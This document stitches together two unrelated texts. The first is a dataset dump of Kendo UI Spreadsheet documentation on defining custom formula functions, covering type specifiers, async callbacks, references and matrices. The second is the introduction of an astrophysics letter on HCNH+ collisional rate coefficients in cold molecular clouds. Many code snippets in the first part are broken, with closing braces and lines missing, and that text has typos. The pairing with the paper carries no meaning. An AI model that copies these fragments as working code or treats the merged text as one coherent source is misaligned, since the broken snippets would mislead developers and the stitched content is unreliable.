content stringlengths 86 994k | meta stringlengths 288 619 |
|---|---|
In formulas, you can create your own custom JavaScript functions (primitives) by calling the kendo.spreadsheet.defineFunction(name, func).
The first argument (string) is the name for your function in formulas (case-insensitive), and the second one is a JavaScript function (the implementation).
The following example demonstrates how to define a function that calculates the distance between two points.
kendo.spreadsheet.defineFunction("distance", function(x1, y1, x2, y2){
var dx = Math.abs(x1 - x2);
var dy = Math.abs(y1 - y2);
var dist = Math.sqrt(dx*dx + dy*dy);
return dist;
[ "x1", "number" ],
[ "y1", "number" ],
[ "x2", "number" ],
[ "y2", "number" ]
If you include the above JavaScript code, you can then use DISTANCE in formulas. For example, to find the distance between coordinate points (2,2) and (5,6), type in a cell =DISTANCE(2, 2, 5, 6).
Optionally, you can use the function in combined expressions such as =DISTANCE(0, 0, 1, 1) + DISTANCE(2, 2, 5, 6).
In the above example, defineFunction returns an object that has an args method. You can use it to specify the expected types of arguments. If the function is called with mismatching argument types,
the runtime of the Spreadsheet automatically returns an error and your implementation is not called. This spares the time for manually writing code that does argument type checking and provides a
nice declarative syntax instead.
To retrieve currency information from a remote server, define a primitive to make this information available in formulas. To define an asynchronous function, call argsAsync instead of args.
kendo.spreadsheet.defineFunction("currency", function(callback, base, curr){
// A suggested fetchCurrency function.
// The way it is implemented is not relevant to the goal of the demonstrated scenario.
fetchCurrency(base, curr, function(value){
[ "base", "string" ],
[ "curr", "string" ]
The argsAsync passes a callback as the first argument to your implementation function, which you need to call with the return value.
It is possible to use new approaches in formulas such as =CURRENCY("EUR", "USD") and =A1 * CURRENCY("EUR", "USD"). Note that the callback is invisible in formulas. The second formula shows that even
though the implementation itself is asynchronous, it can be used in formulas in a synchronous way—that is, the result yielded by CURRENCY is multiplied by the value in A1.
The rest of this article provides information on argument types.
As can be seen in the examples above, both args and argsAsync expect a single array argument. It contains one definition for each argument. Each definition is in turn an array where the first element
is the argument name that has to be a valid JavaScript identifier and the second element is a type specifier.
The Spreadsheet supports the following type specifiers.
BASIC SPECIFIER ACTION
"number" Requires a numeric argument.
"number+" Requires a number bigger than or equal to zero.
"number++" Requires a non-zero positive number.
"integer"/"integer+"/ Similar to number-s, but requires integer argument. Note that these may actually modify the argument value: if a number is specified and it has a decimal part, it will silently
"integer++" be truncated to integer, instead of returning an error. This is similar to Excel.
"divisor" Requires a non-zero number. Produces a #DIV/0! error if the argument is zero.
"string" Requires a string argument.
"boolean" Requires a boolean argument. Most times you may want to use "logical" though.
"logical" Requires a logical argument. That is, Booleans true or false, but 1 and 0 are also accepted. It gets converted to an actual Boolean.
"date" Requires a date argument. Internally, dates are stored as numbers (the number of days since December 31 1899), so this works the same as "integer". It was added for
"datetime" This is like "number", because the time part is represented as a fraction of a day.
"anyvalue" Accepts any value type.
"matrix" Accepts a matrix argument. This is either a range, for example, A1:C3, or a literal matrix (see the Matrices section below).
"null" Requires a null (missing) argument. The reason for this specifier will be clarified in the Optional Arguments section.
Some specifiers actually modify the value that your function receives. For example, you can implement a function that truncates the argument to integer.
defineFunction("truncate", function(value){
return value;
[ "value", "integer" ]
If you call =TRUNCATE(12.634), the result is 12. You can also call =TRUNCATE(TRUE), it returns 1. All numeric types silently accept a Boolean, and convert true to 1 and false to 0.
By default, if an argument is an error, your function is not called and that error is returned.
defineFunction("iserror", function(value){
return value instanceof kendo.spreadsheet.CalcError;
[ "value", "anyvalue" ]
With this implementation, when you type =ISERROR(1/0), #DIV/0! instead of true is returned—the error is passed over and aborts the computation. To allow the passing of errors, append a ! to the type.
[ "value", "anyvalue!" ]
The result is that true is returned.
All above-mentioned type specifiers force references. FBecasues of this, =TRUNCATE(A5) also works. The function gets the value in the A5 cell. If A5 contains a formula, the runtime library verifies
you get the current value—that is, A5 is evaluated first. All of this goes under the hood and you need not worry about it.
Sometimes you might need to write functions that receive a reference instead of a resolved value. Such an example is the ROW function of Excel. In its basic form, it takes a cell reference and
returns its row number, as demonstrated in the following example. The actual ROW function is more complicated.
defineFunction("row", function(cell){
// Add one because internally row indexes are zero-based.
return cell.row + 1;
[ "reference", "cell" ]
If you now call =ROW(A5), you get 5 as a result, regardless of the content in the A5 cell—it might be empty or it is possible that this very formula sits in the A5 cell and there must be no circular
reference error in such a case.
See the References section below for more information about references.
The following table lists the related type specifiers:
TYPE ACTION
"ref" Allows any reference argument and your implementation gets it as such.
"area" Allows a cell or a range argument (CellRef or RangeRef instance).
"cell" Allows a cell argument (CellRef instance).
"anything" Allows any argument type. The difference to anyvalue is that this one does not force references—that is, if a reference is passed, it remains a reference instead of being replaced by
its value.
In addition to the basic type specifiers that are strings, you can also use the following forms of type specifications:
[ "null", DEFAULT ] Validates a missing argument and makes it take the given DEFAULT value. This can be used in conjunction with "or" to support optional arguments.
[ "not", SPEC ] Requires an argument which does not match the specification.
[ "or", SPEC, SPEC, Validates an argument that passes any of the specifications.
... ]
[ "and", SPEC, SPEC, Validates an argument that passes all the specifications.
... ]
[ "values", VAL1, The argument must strictly equal one of the listed values.
VAL2, ... ]
[ "[between]", MIN, Validates an argument between the given values inclusive. Note that it does not require numeric argument. The "between" value is an alias.
MAX ]
[ "(between)", MIN, This is similar to "[between]" but is exclusive.
MAX ]
[ "[between)", MIN, Requires an argument greater than or equal to MIN, and strictly less than MAX.
MAX ]
[ "(between]", MIN, Requires an argument strictly greater than MIN, and less than or equal to MAX.
MAX ]
[ "assert", COND ] Inserts an arbitrary condition literally into the code (see the Assertions section below).
[ "collect", SPEC ] Collects all remaining arguments that pass the specification into a single array argument. This only makes sense at top level and cannot be nested in "or", "and", etc. Arguments
not matching the SPEC are silently ignored, except errors. Each error aborts the calculation.
[ "#collect", SPEC ] This is similar to "collect", but ignores errors as well.
In certain clauses you might need to refer to values of previously type-checked arguments. For example, if you want to write a primitive that takes a minimum, a maximum, and a value that must be
between them, and should return as a fraction the position of that value between min and max.
defineFunction("my.position", function(min, max, value){
return (value - min) / (max - min);
[ "min", "number" ],
[ "max", "number" ],
[ "value", [ "and", "number",
[ "[between]", "$min", "$max" ] ] ]
Note the type specifier for "value":
[ "and", "number",
[ "[between]", "$min", "$max" ] ]
The code requires that the parameter is a number and that it has to be between min and max. To refer to a previous argument, prefix the identifier with a $ character. This approach works for
arguments of "between" (and friends), "assert", "values" and "null".
The above function is not quite correct because it does not check that max is actually greater than min. To do that, use "assert", as demonstrated in the following example.
defineFunction("my.position", function(min, max, value){
return (value - min) / (max - min);
[ "min", "number" ],
[ "max", "number" ],
[ "value", [ "and", "number",
[ "[between]", "$min", "$max" ] ] ],
[ "?", [ "assert", "$min < $max", "N/A" ] ]
The "assert" type specification allows you to introduce an arbitrary condition into the JavaScript code of the type-checking function. An argument name of "?" does not actually introduce a new
argument, but provides a place for such assertions. The third argument to "assert" is the error code that it should produce if the condition does not stand (and #N/A! is actually the default).
As hinted above, you can use the "null" specifier to support optional arguments.
The following example demonstrates the actual definition of the ROW function.
defineFunction("row", function(ref){
if (!ref) {
return this.formula.row + 1;
if (ref instanceof CellRef) {
return ref.row + 1;
return this.asMatrix(ref).mapRow(function(row){
return row + ref.topLeft.row + 1;
[ "ref", [ "or", "area", "null" ]]
The code requires that the argument can either be an area (a cell or a range) or null (that is, missing). By using the "or" combiner, you make it accept either of these. If the argument is missing,
your function gets null. In such cases, it has to return the row of the current formula that you get by this.formula.row. For more details, refer to the section on context objects.
In most cases, “optional” means that the argument takes some default value if one is not provided. For example, the LOG function computes the logarithm of the argument to a base, but if the base is
not specified, it defaults to 10.
The following example demonstrates this implementation.
defineFunction("log", function(num, base){
return Math.log(num) / Math.log(base);
[ "*num", "number++" ],
[ "*base", [ "or", "number++", [ "null", 10 ] ] ],
[ "?", [ "assert", "$base != 1", "DIV/0" ] ]
The type specification for base is: [ "or", "number++", [ "null", 10 ] ]. This says it should accept any number greater than zero, but if the argument is missing, defaults to 10. The implementation
does not have to deal with the case that the argument is missing — it will get 10 instead. Note that it uses an assertion to make sure the base is not 1. If the base is 1, a #DIV/0! error is
To return an error code, return a spreadsheet.CalcError object.
defineFunction("tan", function(x){
// If x is sufficiently close to PI, "tan" will return
// infinity or some really big number.
// The example will error out instead.
if (Math.abs(x - Math.PI/2) < 1e-10) {
return new spreadsheet.CalcError("DIV/0");
return Math.tan(x);
[ "x", "number" ]
For convenience, you can also throw a CalcError object for synchronous primitives—that is, if you use args and not argsAsync.
It is possible to do the above through an assertion as well.
defineFunction("tan", function(x){
return Math.tan(x);
[ "x", [ "and", "number",
[ "assert", "1e-10 < Math.abs($x - Math.PI/2)", "DIV/0" ] ] ]
The type checking mechanism errors out when your primitive receives more arguments than specified. There are a few ways to receive all remaining arguments without errors.
The "rest" Type Specifier
The simplest way is to use the "rest" type specifier. In such cases, the last argument is an array that contains all remaining arguments, whatever types they might be.
The following example demonstrates how to use a function that joins arguments with a separator producing a string.
defineFunction("join", function(sep, list){
return list.join(sep);
[ "sep", "string" ],
[ "list", "rest" ]
This allows for =JOIN("-", 1, 2, 3) which returns 1-2-3 and for =JOIN(".") which returns the empty string because the list will be empty.
The "collect" Clauses
The "collect" clauses collect all remaining arguments that match a certain type specifier, ignoring all others except for the errors. You can use them in functions like SUM that sums all numeric
arguments, but does not care about empty or text arguments.
The following example demonstrates the definition of SUM.
defineFunction("sum", function(numbers){
return numbers.reduce(function(sum, num){
return sum + num;
}, 0);
[ "numbers", [ "collect", "number" ] ]
The "collect" clause aborts when it encounters an error. To ignore errors as well, use the "#collect" specification. Note that "collect" and "#collect" only make sense when either is the first
specifier—that is, they cannot be nested in "or", "and", and the like.
Other Type-Checked Arguments
There are functions that allow an arbitrary number of arguments of specific types. For example, the SUMPRODUCT function takes an arbitrary number of arrays, multiplies the corresponding numbers in
these arrays, and then returns the sum of the products. In this case, you need at least two arrays.
The following example demonstrates the argument specification.
[ "a1", "matrix" ],
[ "+",
[ "a2", [ "and", "matrix",
[ "assert", "$a2.width == $a1.width" ],
[ "assert", "$a2.height == $a1.height" ] ] ] ]
The "+" in the second definition means that one or more arguments are expected to follow and that the a2 argument, defined there, can repeat. Notice how you can use assertions to make sure the
matrices have the same shape as the first one (a1).
For another example, look at the SUMIFS function (see Excel documentation). It takes a sum_range, a criteria_range, and a criteria. These are the required arguments. Then, any number of
criteria_range and criteria arguments can follow. In particular, criteria ranges must all have the same shape (width/height). Here is the argument definition for SUMIFS:
[ "range", "matrix" ],
[ "m1", "matrix" ],
[ "c1", "anyvalue" ],
[ [ "m2", [ "and", "matrix",
[ "assert", "$m1.width == $m2.width" ],
[ "assert", "$m1.height == $m2.height" ] ] ],
[ "c2", "anyvalue" ] ]
The repeating part now is simply enclosed in an array, not preceded by "+". This indicates to the system that any number might follow, including zero, while "+" requires at least one argument.
Dates are stored as the number of days since 1899-12-31 that is considered to be the first date. In Excel, the first day is 1900-01-01, but for historical reasons Excel assumes that 1900 is a leap
year. For more information, refer to the article on the leap year bug. In Excel, day 60 yields an invalid date (1900-02-29), which means that date calculations involving dates before and after
1900-03-01 produce wrong results.
To be compatible with Excel and to avoid the unwilling implementation of this bug, the Spreadsheet uses 1899-12-31 as the base date. Dates that are greater than or equal to 1900-03-31 have the same
numeric representation as in Excel, while dates before 1900-03-31 are smaller by 1.
Time is kept as a fraction of a day—that is, 0.5 means 12:00:00. For example, the date and time Sep 27 1983 12:35:59 is numerically stored as 30586.524988425925. To verify that in Excel, paste this
number in a cell and then format it as a date or time.
Functions to pack or unpack dates are available in spreadsheet.calc.runtime.
var runtime = kendo.spreadsheet.calc.runtime;
// Unpacking
var date = runtime.unpackDate(28922.55);
console.log(date); // { year: 1979, month: 2, date: 8, day: 4 }
var time = runtime.unpackTime(28922.55);
console.log(time); // { hours: 13, minutes: 12, seconds: 0, milliseconds: 0 }
var date = runtime.serialToDate(28922.55); // produces JavaScript Date object
console.log(date.toISOString()); // 1979-03-08T13:12:00.000Z
// Packing
console.log(runtime.packDate(2015, 5, 25)); // year, month, date
console.log(runtime.packTime(13, 35, 0, 0)); // hours, minutes, seconds, ms
console.log(runtime.dateToSerial(new Date()))
Note that the serial date representation does not carry any timezone information, so the functions involving Date objects (serialToDate and dateToSerial) use the local components and not UTC—as Excel
As mentioned earlier, certain type specifiers allow you to get a reference in your function rather than the resolved value. Note that when you do so, you cannot rely on the values in those cells to
be calculated. As a result, if your function might need the values as well, you have to compute them. Because the function which does this is asynchronous, your primitive has to be defined in an
asynchronous style as well.
defineFunction("test", function(callback, x){
this.resolveCells([ x ], function(){
console.log(x instanceof spreadsheet.CellRef); // true
console.log("So we have a cell:");
console.log(x.sheet, x.row, x.col);
console.log("And its value is:");
callback("Cell value: " + this.getRefData(x));
[ "x", "cell" ]
This function accepts a cell argument and you can only call it like =test(B4). It calls this.resolveCells from the context object to verify that the cell value is calculated. Without this step and if
the cell actually contains a formula, the value returned by this.getRefData could be outdated. Then it prints some information about that cell.
The following list explains the types of references that your primitive can receive:
• spreadsheet.Ref—A base class only. All references inherit from it, but no direct instance of this object should ever be created. The class is exported just to make it easier to check whether
something is a reference: x instanceof spreadsheet.Ref.
• spreadsheet.NULLREF—An object (a singleton) and not a class. It represents the NULL reference, and could occur, for example, when you intersect two disjoint ranges, or when a formula depends on a
cell that has been deleted. For example, when you put in some cell =test(B5) and then right-click on column B and delete it. To test when something is the NULL reference, just do x ===
• spreadsheet.CellRef—Represents a cell reference. Note that the references here follow the same programming language concept. They do not contain data. Instead they just point to where the data
is. So a cell reference contains 3 essential properties:
□ sheet — the name of the sheet that this cell points to (as a string)
□ row — the row number, zero-based
□ col — the column number, zero-based
• spreadsheet.RangeRef—A range reference. It contains topLeft and bottomRight, which are CellRef objects.
• spreadsheet.UnionRef—A union. It contains a refs property, which is an array of references (it can be empty). A UnionRef can be created by the union operator, which is the comma.
The following example demonstrates how to use a function that takes an arbitrary reference and returns its type of reference.
defineFunction("refkind", function(x){
if (x === spreadsheet.NULLREF) {
return "null";
if (x instanceof spreadsheet.CellRef) {
return "cell";
if (x instanceof spreadsheet.RangeRef) {
return "range";
if (x instanceof spreadsheet.UnionRef) {
return "union";
return "unknown";
[ "x", "ref" ]
The following example demonstrates how to use a function that takes an arbitrary reference and returns the total number of cells it covers.
defineFunction("countcells", function(x){
var count = 0;
function add(x) {
if (x instanceof spreadsheet.CellRef) {
} else if (x instanceof spreadsheet.RangeRef) {
count += x.width() * x.height();
} else if (x instanceof spreadsheet.UnionRef) {
} else {
// unknown reference type.
throw new CalcError("REF");
return count;
[ "x", "ref" ]
You can now say:
• =COUNTCELLS(A1) — returns 1.
• =COUNTCELLS(A1:C3) — returns 9.
• =COUNTCELLS( (A1,A2,A1:C3) ) — returns 11. This is a union.
• =COUNTCELLS( (A1:C3 B:B) ) — returns 3. This is an intersection between the A1:C3 range and the B column.
Here is a function that returns the background color of some cell:
defineFunction("backgroundof", function(cell){
var workbook = this.workbook();
var sheet = workbook.sheetByName(cell.sheet);
return sheet.range(cell).background();
[ "cell", "cell" ]
It uses this.workbook() to retrieve the workbook, and then uses the Workbook/Sheet/Range APIs to fetch the background color of the given cell.
Matrices are defined by spreadsheet.calc.runtime.Matrix. Your primitive can request a Matrix object by using the "matrix" type specification. In this case, it can accept a cell reference, a range
reference, or a literal array. You can type literal arrays in formulas like in Excel, e.g., { 1, 2; 3, 4 } (rows separated by semicolons).
Matrices were primarily added to deal with the “array formulas” concept in Excel. A function can return multiple values, and those will be in a Matrix object.
The following example demonstrates how to use a function that doubles each number in a range and returns a matrix of the same shape.
defineFunction("doublematrix", function(m){
return m.map(function(value){
return value * 2;
[ "m", "matrix" ]
To use this formula:
1. Select a range—for example A1:B2.
2. Press F12 and type =doublematrix(C3:D4).
3. Press Ctrl+Shift+Enter (same as in Excel). As a result, cells A1:B2 get the doubles of the values from C3:D4.
The following table lists some of the methods and properties the Matrix objects provide.
METHOD OR DESCRIPTION
width and height These properties indicate the dimensions of this matrix.
clone() Returns a new matrix with the same data.
get(row, col) Returns the element at a given location.
set(row, col, Sets the element at a given location.
each(func, Iterates through elements of the matrix, calling your func for each element (first columns, then rows) with 3 arguments: value, row and column. If includeEmpty is true, it will call
includeEmpty) your function for empty (null) elements as well. Otherwise, it only calls it where a value exists.
map(func, This is similar to each, but produces a new matrix of the same shape as the original one with the values returned by your functions.
transpose() Returns the transposed matrix. The rows of the original matrix become columns of the transposed one.
unit(n) Returns the unit square matrix of size n.
multiply(m) Multiplies the current matrix by the given matrix, and returns a new matrix as the result.
determinant() Returns the determinant of this matrix. The matrix should contain only numbers and be square. Note that there are no checks for this.
inverse() Returns the inverse of this matrix. The matrix should contain only numbers and be square. Note that there are no checks for this. If the inverse does not exist—the determinant is
zero—then it returns null.
Every time a formula is evaluated, a special Context object is created and each involved primitive function is invoked in the context of that object—that is, it is accessible as this.
The following table demonstrates some of the methods the Context object provides.
METHOD DESCRIPTION
resolveCells(array, Verifies that all references in the given array are resolved before invoking your callback—that is, executes any formula. If this array turns out to include the cell where the
callback) current formula lives, it returns a #CIRCULAR! error. Elements that are not references are ignored.
cellValues(array) Returns as a flat array the values in any reference that exist in the given array. Elements that are not references are copied over.
asMatrix(arg) Converts the given argument to a matrix, if possible. It accepts a RangeRef object or a plain JavaScript non-empty array. Additionally, if a Matrix object is provided, it is
returned as is.
workbook() Returns the Workbook object where the current formula is evaluated.
getRefData(ref) Returns the data—that is the value—in the given reference. If a CellRef is given, it returns a single value. For a RangeRef or UnionRef, it returns a flat array of values.
Additionally, there is a formula property, an object representing the current formula. Its details are internal, but you can rely on it having the sheet (sheet name as a string), row and col
properties, the location of the current formula.
Missing args or argsAsync
This section explains what happens if you do not invoke args or argsAsync. It is recommended that you do not use that form.
If args or argsAsync are not called, the primitive function receives exactly two arguments:
• A callback to be invoked with the result.
• An array that contains the arguments passed in the formula.
The following example demonstrates how to use a function that adds two things.
defineFunction("add", function(callback, args){
callback(args[0] + args[1]);
• =ADD(7, 8) → 15
• =ADD() → NaN
• =ADD("foo") → fooundefined
• =ADD(A1, A2) → A1A2
In other words, if you use this raw form, you are responsible for type-checking the arguments and your primitive is always expected to be asynchronous. | {"url":"https://docs.telerik.com/aspnet-core/html-helpers/data-management/spreadsheet/custom-functions","timestamp":"2024-11-07T10:45:58Z","content_type":"text/html","content_length":"88274","record_id":"<urn:uuid:7708ec30-3d1f-4d6a-ad6e-30469d6a1e96>","cc-path":"CC-MAIN-2024-46/segments/1730477027987.79/warc/CC-MAIN-20241107083707-20241107113707-00868.warc.gz"} |
Order Of Operations With Integers And Exponents Worksheet | Order of Operation Worksheets
Order Of Operations With Integers And Exponents Worksheet
27 Operations With Exponents Worksheet Order Of Operations Worksheets
Order Of Operations With Integers And Exponents Worksheet
Order Of Operations With Integers And Exponents Worksheet – You may have listened to of an Order Of Operations Worksheet, however what exactly is it? In addition, worksheets are a wonderful way for
pupils to practice brand-new abilities as well as evaluation old ones.
What is the Order Of Operations Worksheet?
An order of operations worksheet is a kind of mathematics worksheet that requires students to carry out math operations. These worksheets are divided right into 3 main sections: subtraction,
addition, and also multiplication. They likewise include the evaluation of parentheses and backers. Trainees who are still learning how to do these tasks will discover this type of worksheet
The main objective of an order of operations worksheet is to assist trainees learn the right means to resolve math formulas. If a pupil doesn’t yet comprehend the concept of order of operations, they
can examine it by referring to a description page. Furthermore, an order of operations worksheet can be divided right into numerous classifications, based on its problem.
An additional essential objective of an order of operations worksheet is to teach students exactly how to perform PEMDAS operations. These worksheets begin with easy issues associated with the
standard regulations and develop to extra complicated issues involving all of the rules. These worksheets are a wonderful method to introduce young students to the excitement of fixing algebraic
Why is Order of Operations Important?
One of the most critical points you can discover in math is the order of operations. The order of operations makes certain that the math troubles you address are consistent.
An order of operations worksheet is a wonderful means to educate pupils the correct way to solve mathematics formulas. Prior to pupils begin using this worksheet, they might need to assess ideas
related to the order of operations.
An order of operations worksheet can aid trainees establish their abilities additionally and also subtraction. Teachers can use Prodigy as an easy method to separate method as well as supply
appealing content. Prodigy’s worksheets are a perfect method to assist trainees find out about the order of operations. Teachers can start with the standard concepts of multiplication, addition, and
division to help pupils develop their understanding of parentheses.
Order Of Operations With Integers And Exponents Worksheet
Algebra Worksheet NEW 820 ALGEBRA BODMAS WORKSHEETS
FREE 11 Sample Order Of Operations Worksheet Templates In PDF
Order Of Operations With Integers And Exponents Slideshare
Order Of Operations With Integers And Exponents Worksheet
Order Of Operations With Integers And Exponents Worksheet supply a great resource for young learners. These worksheets can be quickly tailored for details needs. They can be discovered in 3 degrees
of difficulty. The initial degree is basic, calling for students to exercise making use of the DMAS approach on expressions including four or more integers or three drivers. The second degree
requires students to use the PEMDAS technique to streamline expressions making use of inner as well as external parentheses, braces, and curly dental braces.
The Order Of Operations With Integers And Exponents Worksheet can be downloaded for free and also can be printed out. They can after that be examined using addition, division, subtraction, and also
multiplication. Students can additionally use these worksheets to assess order of operations and also the use of exponents.
Related For Order Of Operations With Integers And Exponents Worksheet | {"url":"https://orderofoperationsworksheet.com/order-of-operations-with-integers-and-exponents-worksheet/","timestamp":"2024-11-11T13:01:03Z","content_type":"text/html","content_length":"44603","record_id":"<urn:uuid:4003d5bd-46b2-4a29-b169-3f36af94d412>","cc-path":"CC-MAIN-2024-46/segments/1730477028230.68/warc/CC-MAIN-20241111123424-20241111153424-00066.warc.gz"} |
EllipAxes: Calculate ellipsoid axial lengths based on octahedral shear... in RockFab: Rock Fabric and Strain Analysis Tools
Function uses the octahedral shear strain and Lode parameter of a desired strain ellipsoid and returns the normalized axial lengths X Y and Z.
es Octahedral shear strain. Values must be positive.
nu Lode parameter. Values must be between -1 and 1.
A numeric vector of length three with values returned in descending order (i.e. X, Y, and Z)
Not used in RockFab scripts but can be useful for other endeavors.
See for example: Ramsay, J. and M. Huber (1993). The techniques of modern structural geology.
es <- runif(min = 0, max = 3, n = 1) nu <- runif(min = -1, max = 1, n = 1) EllipAxes(es = es, nu = nu)
For more information on customizing the embed code, read Embedding Snippets. | {"url":"https://rdrr.io/cran/RockFab/man/EllipAxes.html","timestamp":"2024-11-11T07:13:22Z","content_type":"text/html","content_length":"25131","record_id":"<urn:uuid:45addc20-7acb-4b90-baed-66cf98008d89>","cc-path":"CC-MAIN-2024-46/segments/1730477028220.42/warc/CC-MAIN-20241111060327-20241111090327-00300.warc.gz"} |
php require("/home/jeffery/public_html/astro/relativity/general_relativity_exact_solutions.html");?>
Exact Solutions in General Relativity
Caption: A cartoon of a Schwarzschild black hole (FK-545; ABS-195,222). A Schwarzschild black hole is a spectial case of the Schwarzschild solution, an exact (analytic) solution in general
relativity. For further explication of the image, see Black hole file: black_hole_schwarzschild_cartoon.html.
Exact solutions in general relativity explicated:
1. Defining an exact (analytic) solution in general relativity (i.e., for physical systems) is a bit tricky and so is counting exact solutions since many are special cases of others.
2. By one expert's count, there are, circa 2022, only 6 top-level (i.e., general and important) exact solutions in general relativity (see M.A.H. MacCallum, 2013, Exact solutions of Einstein's
There are many special cases of the 6 top-level exact solutions in general relativity.
3. Long ago in the 1990s, yours truly vaguely recalls a Russian speaker who was introduced as having discovered 2 of the 6 top-level exact solutions in general relativity.
4. To the knowledge of yours truly, Albert Einstein (1879--1955) himself found only one exact solution---the Einstein universe in field of cosmology---which is taken up in IAL 30: Cosmology. And
it is NOT one of the 6 top-level exact solutions in general relativity. The Einstein universe is a special case of the Friedmann-Lemaitre-Robertson-Walker solution in the count of M.A.H.
MacCallum (2013).
5. Finding new exact solutions in general relativity is always hard work and it gets harder with time since only harder ones are left to be found.
Credit/Permission: © David Jeffery, 2005 / Own work.
Image link: Itself.
Local file: local link: general_relativity_exact_solutions.html.
File: Relativity file: general_relativity_exact_solutions.html. | {"url":"https://www.physics.unlv.edu/~jeffery/astro/relativity/general_relativity_exact_solutions.html","timestamp":"2024-11-05T01:02:04Z","content_type":"text/html","content_length":"8133","record_id":"<urn:uuid:a0d6aa96-4720-4d84-a712-e3eb14ad671f>","cc-path":"CC-MAIN-2024-46/segments/1730477027861.84/warc/CC-MAIN-20241104225856-20241105015856-00690.warc.gz"} |
abundance in cold dense clouds based on the first hyperfine resolved rate coefficients
Issue A&A
Volume 681, January 2024
Article Number L19
Number of page(s) 5
Section Letters to the Editor
DOI https://doi.org/10.1051/0004-6361/202348947
Published online 23 January 2024
A&A 681, L19 (2024)
Letter to the Editor
HCNH^+ abundance in cold dense clouds based on the first hyperfine resolved rate coefficients^⋆
^1 Univ. Rennes, CNRS, IPR (Institut de Physique de Rennes) – UMR 6251, 35000 Rennes, France
e-mail: cheikhtidiane.bop@ucad.edu.sn; francois.lique@univ-rennes.fr
^2 Instituto de Física Fundamental, CSIC, Calle Serrano 123, 28006 Madrid, Spain
e-mail: marcelino.agundez@csic.es
^3 Université de Bordeaux – CNRS Laboratoire d’Astrophysique de Bordeaux, 33600 Pessac, France
Received: 13 December 2023
Accepted: 4 January 2024
The protonated form of hydrogen cyanide, HCNH^+, holds significant importance in astrochemistry, serving as an intermediate species in ion-neutral reactions occurring in the cold molecular clouds.
Although it plays a crucial role in the chemistry of HCN and HNC, the excitation rate coefficients of this molecular cation by the dominant interstellar colliders have not been thoroughly
investigated, leading to limitations in the radiative transfer models used to derive its abundance. In this work, we present the first hyperfine-resolved excitation rate coefficients for HCNH^+
induced by collisions with both He and H[2] at low temperatures, addressing a crucial requirement for precise modeling of HCNH^+ abundance in typical cold dense molecular clouds. Using non-local
thermodynamic equilibrium (non-LTE) radiative transfer calculations, we reproduced the 1→0 and 2→1 observational spectra of HCNH^+ fairly well and derived updated molecular column densities. For
the TMC-1 molecular cloud, the new HCNH^+ abundance is twice as large as suggested by previous LTE modeling, whereas the column density of this molecular cation is improved only by 10% in the case of
the L483 proto-star. The factor of two in the case of TMC-1 most likely arises from an error in the early analysis of observational spectra rather than an effect of the LTE assumption, given that the
HCNH^+ lines are predominantly thermalized at densities higher than 2×10^4cm^−3. For multiline studies of clouds of moderate densities, we strongly recommend using the collisional rate
coefficients reported in this work.
Key words: molecular data / molecular processes / radiative transfer / scattering / ISM: abundances / ISM: molecules
© The Authors 2024
Open Access article, published by EDP Sciences, under the terms of the Creative Commons Attribution License (https://creativecommons.org/licenses/by/4.0), which permits unrestricted use,
distribution, and reproduction in any medium, provided the original work is properly cited.
This article is published in open access under the Subscribe to Open model. Subscribe to A&A to support open access publication.
1. Introduction
Protonated hydrogen cyanide, also known as iminomethylium (HCNH^+), is the simplest protonated nitrile. It has a dipole moment of ∼0.29 D (Botschwina 1986), large enough to allow its detection in
radio astronomy. The first detection of this molecular cation in space took place toward Sgr B2, thanks to the observation of its three lowest rotational lines (Ziurys & Turner 1986). Since then, it
has been observed in several cold star-forming regions such as the TMC-1 dark cloud (Schilke et al. 1991; Ziurys et al. 1992), the DR 21(OH) H II region (Hezareh et al. 2008), the L1544 pre-stellar
core (Quénard et al. 2017), the L483 proto-star (Agúndez et al. 2022), and in 16 high-mass star-forming cores (Fontani et al. 2021). Recently, Gong et al. (2023) reported a comprehensive distribution
analysis of HCNH^+ within the Serpens filament and Serpens South, suggesting that this molecular cation is abundant in cold quiescent regions and deficient toward active star-forming regions. These
observations present HCNH^+ as a ubiquitous molecular cation in the cold interstellar medium (ISM) and reinforce the interest in understanding its chemistry.
HCNH^+ is classified among the most important molecular ions in the ISM since it is the precursor of the widespread HCN and HNC. Ionic compounds play a crucial role in interstellar chemistry, serving
as indispensable intermediates in ion-neutral reactions that govern gas-phase chemistry within cold cores (Agúndez & Wakelam 2013). Extensive research has been conducted to explore the chemistry of
HCNH^+ within dense, cold regions. This molecular cation is mostly formed in low temperature regions (Loison et al. 2014) through the following reactions:
$HCN + / HCN + + H 2 → HCNH + + H ,$(1)
and it undergoes destruction via a dissociative recombination with electrons (Loison et al. 2014; Semaniak et al. 2001):
$HCNH + + e − → HCN + H → HNC + H → CN + H + H .$(2)
Based on the reactions in Eqs. (1) and (2) for HCNH^+ and similar reactions related to HC[3]NH^+, the chemical model of Quénard et al. (2017) was unable to simultaneously reproduce the observed
abundance of these protonated molecules toward the cold L1544 pre-stellar core. The authors pointed out that their model potentially underproduces HCNH^+. Fontani et al. (2021) included, in addition
to the previous reactions, Eq. (3) in their model as part of the dominant HCNH^+ formation paths for cold high-mass star-forming cores:
$NH 3 + C + → HCNH + + H .$(3)
They found that changing the initial conditions (the hydrogen column density) or key parameters (the cosmic ray ionization rate) of their chemical model does not lead to a better agreement with the
observations. In both attempts, their prediction underestimates the observed HCNH^+ abundance. In TMC-1, Agúndez et al. (2022) found that the [HCNH^+]/([HCN]+[HNC]) abundance ratio is underestimated
by the chemical model. This finding was seen as a general trend for protonated-to-neutral abundance ratios. More recently, Gong et al. (2023) investigated the impact of the hydrogen number density
and the two energy barriers available in the literature for reaction (4), which plays an important role in the HCNH^+ chemistry:
Although the authors successfully reproduced the observed abundance of HCNH^+ in cold high-mass star-forming cores, it is worth noting the wide range of the reference data they used, [HCNH^+]/[H[2]]
= 3×10^−11−10^−9, which covers all the individual target sources. A selective comparison would suggest a chemical model that yields less HCNH^+ than observed for five out of the nine studied
The HCN and HNC molecules, which are two of the most important species found in star-forming regions, have been extensively studied both from a chemical perspective and in terms of rotational energy
transfer. For example, the HCN and HNC abundance profiles derived by Daniel et al. (2013) through non-local thermodynamic equilibrium (non-LTE) analysis of observational spectra align well with the
chemical predictions of Gérin et al. (2009). Part of this agreement between chemistry and observation can be attributed to the non-LTE modeling of observational spectra, which has been made possible
by the availability of accurate HCN and HNC collisional rate coefficients (Ben Abdallah et al. 2012; Sarrasin et al. 2010). In the case of HCNH^+, observed abundances have been determined using the
LTE approximation, which can lead to discrepancies and consequently contribute to the disagreements with chemical models (Quénard et al. 2017; Fontani et al. 2021; Agúndez et al. 2022; Gong et al.
